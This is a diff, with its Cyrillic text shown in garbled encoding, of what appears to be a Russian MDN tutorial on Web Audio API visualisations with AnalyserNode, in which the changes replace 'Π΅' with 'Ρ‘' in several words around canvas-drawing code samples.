-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄ Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π° ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ для Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΏΠΎΠΊΠ° Π΅Π³ΠΎ Π²Π²ΠΎΠ΄ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΊ источнику, Π»ΠΈΠ±ΠΎ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π»ΠΈΠ±ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡƒΠ·Π΅Π».</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄ Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π° ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ для Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΏΠΎΠΊΠ° Π΅Π³ΠΎ Π²Π²ΠΎΠ΄ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΊ источнику, Π»ΠΈΠ±ΠΎ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π»ΠΈΠ±ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡƒΠ·Π΅Π».</p>
</div>
-<p>Π—Π°Ρ‚Π΅ΠΌ Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ Π·Π°Ρ…Π²Π°Ρ‚ΠΈΡ‚ Π°ΡƒΠ΄ΠΈΠΎΠ΄Π°Π½Π½Ρ‹Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ быстроС ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π€ΡƒΡ€ΡŒΠ΅ (Π‘ΠŸΠ€) Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ частотной области, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{ domxref("AnalyserNode.fftSize") }} (Ссли свойство Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 2048).</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ Π·Π°Ρ…Π²Π°Ρ‚ΠΈΡ‚ Π°ΡƒΠ΄ΠΈΠΎΠ΄Π°Π½Π½Ρ‹Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ быстроС ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π€ΡƒΡ€ΡŒΠ΅ (Π‘ΠŸΠ€) Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ частотной области, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства {{ domxref("AnalyserNode.fftSize") }} (Ссли свойство Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 2048).</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ значСния минимума ΠΈ максимума для Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ Π΄Π°Π½Π½Ρ‹Ρ… Π‘ΠŸΠ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{ domxref("AnalyserNode.minDecibels") }} ΠΈ {{ domxref("AnalyserNode.maxDecibels") }}, ΠΈ Ρ€Π°Π·Π½Ρ‹Π΅ константы усрСднСния Π΄Π°Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{ domxref("AnalyserNode.smoothingTimeConstant") }}. ΠŸΡ€ΠΎΡ‡Ρ‚ΠΈΡ‚Π΅ эти страницы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ‚ΠΎΠΌ ΠΊΠ°ΠΊ ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
@@ -38,9 +38,9 @@ distortion.connect(audioCtx.destination);</pre>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β {{ domxref("AnalyserNode.getFloatFrequencyData()") }} ΠΈΒ {{ domxref("AnalyserNode.getByteFrequencyData()") }}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ частотС, ΠΈΒ {{ domxref("AnalyserNode.getByteTimeDomainData()") }} ΠΈΒ {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ Ρ„ΠΎΡ€ΠΌΠ΅Β Π²ΠΎΠ»Π½Ρ‹.</p>
-<p>Π­Ρ‚ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΊΠΎΠΏΠΈΡ€ΡƒΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ массив, поэтому Π’Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ массив для хранСния Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ . Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… - числа Ρ‚ΠΈΠΏΠ° float32, Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΉ - uint8, поэтому стандартный массив JavaScript Π½Π΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ для ΠΈΡ… хранСния — слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΌΠ°ΡΡΠΈΠ²Ρ‹ {{ domxref("Float32Array") }} ΠΈΠ»ΠΈΒ {{ domxref("Uint8Array") }}, Π² зависимости ΠΎΡ‚ Π½ΡƒΠΆΠ½Ρ‹Ρ… Π’Π°ΠΌ Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Π­Ρ‚ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΊΠΎΠΏΠΈΡ€ΡƒΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ массив, поэтому Π’Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ массив для хранСния Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ . Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… - числа Ρ‚ΠΈΠΏΠ° float32, Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΉ - uint8, поэтому стандартный массив JavaScript Π½Π΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Ρ‘Ρ‚ для ΠΈΡ… хранСния — слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΌΠ°ΡΡΠΈΠ²Ρ‹ {{ domxref("Float32Array") }} ΠΈΠ»ΠΈΒ {{ domxref("Uint8Array") }}, Π² зависимости ΠΎΡ‚ Π½ΡƒΠΆΠ½Ρ‹Ρ… Π’Π°ΠΌ Π΄Π°Π½Π½Ρ‹Ρ….</p>
-<p>НапримСр, Ссли ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ AnalyserNode.fftSize установлСн Π½Π° 2048, ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β {{ domxref("AnalyserNode.frequencyBinCount") }}, Ρ€Π°Π²Π½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π΅ fft, Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Uint8Array() с frequencyBinCount Π² качСствС Π΄Π»ΠΈΠ½Ρ‹Β β€” ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΉ ΠΌΡ‹ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅ΠΌ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° fft.</p>
+<p>НапримСр, Ссли ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ AnalyserNode.fftSize установлСн Π½Π° 2048, ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β {{ domxref("AnalyserNode.frequencyBinCount") }}, Ρ€Π°Π²Π½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π΅ fft, Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Uint8Array() с frequencyBinCount Π² качСствС Π΄Π»ΠΈΠ½Ρ‹Β β€” ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΉ ΠΌΡ‹ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Ρ‘ΠΌ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° fft.</p>
<pre class="brush: js notranslate">analyser.fftSize = 2048;
var bufferLength = analyser.frequencyBinCount;
@@ -95,7 +95,7 @@ var dataArray = new Uint8Array(bufferLength);</pre>
<pre class="brush: js notranslate"> var sliceWidth = WIDTH * 1.0 / bufferLength;
var x = 0;</pre>
-<p>Π’ Ρ†ΠΈΠΊΠ»Π΅, ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ нСбольшого ΠΎΡ‚Ρ€Π΅Π·ΠΊΠ° Π²ΠΎΠ»Π½Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ Π² Π±ΡƒΡ„Π΅Ρ€Π΅ Π½Π° высотС, основанной Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ массива Π² этой Ρ‚ΠΎΡ‡ΠΊΠ΅, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌ линию Ρ‚ΡƒΠ΄Π°, Π³Π΄Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ нарисован ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΡ‚Ρ€Π΅Π·ΠΎΠΊ:</p>
+<p>Π’ Ρ†ΠΈΠΊΠ»Π΅, ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ нСбольшого ΠΎΡ‚Ρ€Π΅Π·ΠΊΠ° Π²ΠΎΠ»Π½Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ Π² Π±ΡƒΡ„Π΅Ρ€Π΅ Π½Π° высотС, основанной Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ массива Π² этой Ρ‚ΠΎΡ‡ΠΊΠ΅, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌ линию Ρ‚ΡƒΠ΄Π°, Π³Π΄Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ нарисован ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΡ‚Ρ€Π΅Π·ΠΎΠΊ:</p>
<pre class="brush: js notranslate"> for(var i = 0; i &lt; bufferLength; i++) {
@@ -127,9 +127,9 @@ var dataArray = new Uint8Array(bufferLength);</pre>
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_частотной_гистограммы">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ частотной гистограммы</h2>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° визуализация, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ, - это частотныС Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹ (Ρ‚Π°ΠΊΠΈΠ΅, ΠΊΠ°ΠΊ строит Winamp). Π’ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅Β Voice-change-O-matic Π΅ΡΡ‚ΡŒ рСализация Ρ‚Π°ΠΊΠΎΠΉ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹. Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° Π½Π΅Π΅.</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½Π° визуализация, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ, - это частотныС Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹ (Ρ‚Π°ΠΊΠΈΠ΅, ΠΊΠ°ΠΊ строит Winamp). Π’ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅Β Voice-change-O-matic Π΅ΡΡ‚ΡŒ рСализация Ρ‚Π°ΠΊΠΎΠΉ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹. Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° Π½Π΅Π΅.</p>
-<p>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ снова создаСм Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ ΠΈ массив для Π΄Π°Π½Π½Ρ‹Ρ…, Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ холст ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ <code>clearRect()</code>. ЕдинствСнноС ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅ - Ρ‹ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ мСньший Ρ€Π°Π·ΠΌΠ΅Ρ€ fft. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ столбСц Π² Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ столбСц, Π° Π½Π΅ ΠΊΠ°ΠΊ тонкая полоска.</p>
+<p>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ снова создаём Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ ΠΈ массив для Π΄Π°Π½Π½Ρ‹Ρ…, Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ холст ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ <code>clearRect()</code>. ЕдинствСнноС ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅ - Ρ‹ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ мСньший Ρ€Π°Π·ΠΌΠ΅Ρ€ fft. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ столбСц Π² Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ столбСц, Π° Π½Π΅ ΠΊΠ°ΠΊ тонкая полоска.</p>
<pre class="brush: js notranslate"> analyser.fftSize = 256;
var bufferLength = analyser.frequencyBinCount;
@@ -138,7 +138,7 @@ var dataArray = new Uint8Array(bufferLength);</pre>
canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>draw()</code>Β  ΠΈ Π·Π°Π΄Π°Π΅ΠΌ Ρ†ΠΈΠΊΠ» ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ <code>requestAnimationFrame()</code>Β Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Π΅ обновлялись.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>draw()</code>Β  ΠΈ Π·Π°Π΄Π°Ρ‘ΠΌ Ρ†ΠΈΠΊΠ» ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ <code>requestAnimationFrame()</code>Β Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Π΅ обновлялись.</p>
<pre class="brush: js notranslate"> function draw() {
drawVisual = requestAnimationFrame(draw);
@@ -148,9 +148,9 @@ var dataArray = new Uint8Array(bufferLength);</pre>
canvasCtx.fillStyle = 'rgb(0, 0, 0)';
canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);</pre>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>barWidth</code>Β , Ρ€Π°Π²Π½ΠΎΠ΅ ΡˆΠΈΡ€ΠΈΠ½Π΅ холста, Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π½Π° количСство столбцов (Π΄Π»ΠΈΠ½Ρƒ Π±ΡƒΡ„Π΅Ρ€Π°). Однако, ΠΌΡ‹ Π΄ΠΎΠΌΠ½ΠΎΠΆΠ°Π΅ΠΌ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π½Π°Β 2.5, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π° Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ частот Π·Π²ΡƒΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π·Π²ΡƒΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΡΠ»Ρ‹ΡˆΠΈΠΌ Π² повсСднСвной ΠΆΠΈΠ·Π½ΠΈ, находятся Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ…, достаточно Π½ΠΈΠ·ΠΊΠΈΡ…, Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°Ρ… частот. Нам Π½Π΅Ρ‚ смысла ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ мноТСство пустых частот, поэтому ΠΌΡ‹ просто сдвигаСм столбцы, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнным частотам.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>barWidth</code>Β , Ρ€Π°Π²Π½ΠΎΠ΅ ΡˆΠΈΡ€ΠΈΠ½Π΅ холста, Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π½Π° количСство столбцов (Π΄Π»ΠΈΠ½Ρƒ Π±ΡƒΡ„Π΅Ρ€Π°). Однако, ΠΌΡ‹ Π΄ΠΎΠΌΠ½ΠΎΠΆΠ°Π΅ΠΌ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π½Π°Β 2.5, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π° Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ частот Π·Π²ΡƒΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π·Π²ΡƒΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΡΠ»Ρ‹ΡˆΠΈΠΌ Π² повсСднСвной ΠΆΠΈΠ·Π½ΠΈ, находятся Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…, достаточно Π½ΠΈΠ·ΠΊΠΈΡ…, Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°Ρ… частот. Нам Π½Π΅Ρ‚ смысла ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ мноТСство пустых частот, поэтому ΠΌΡ‹ просто сдвигаСм столбцы, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённым частотам.</p>
-<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ устанавливаСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…Β <code>barHeight</code>Β ΠΈΒ <code>x</code>Β , Π·Π°Π΄Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎ, Π³Π΄Π΅ Π½Π° холстС Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ столбСц.</p>
+<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ устанавливаСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…Β <code>barHeight</code>Β ΠΈΒ <code>x</code>Β , Π·Π°Π΄Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎ, Π³Π΄Π΅ Π½Π° холстС Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ столбСц.</p>
<pre class="brush: js notranslate"> var barWidth = (WIDTH / bufferLength) * 2.5;
var barHeight;
@@ -174,7 +174,7 @@ var dataArray = new Uint8Array(bufferLength);</pre>
<pre class="brush: js notranslate"> draw();</pre>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
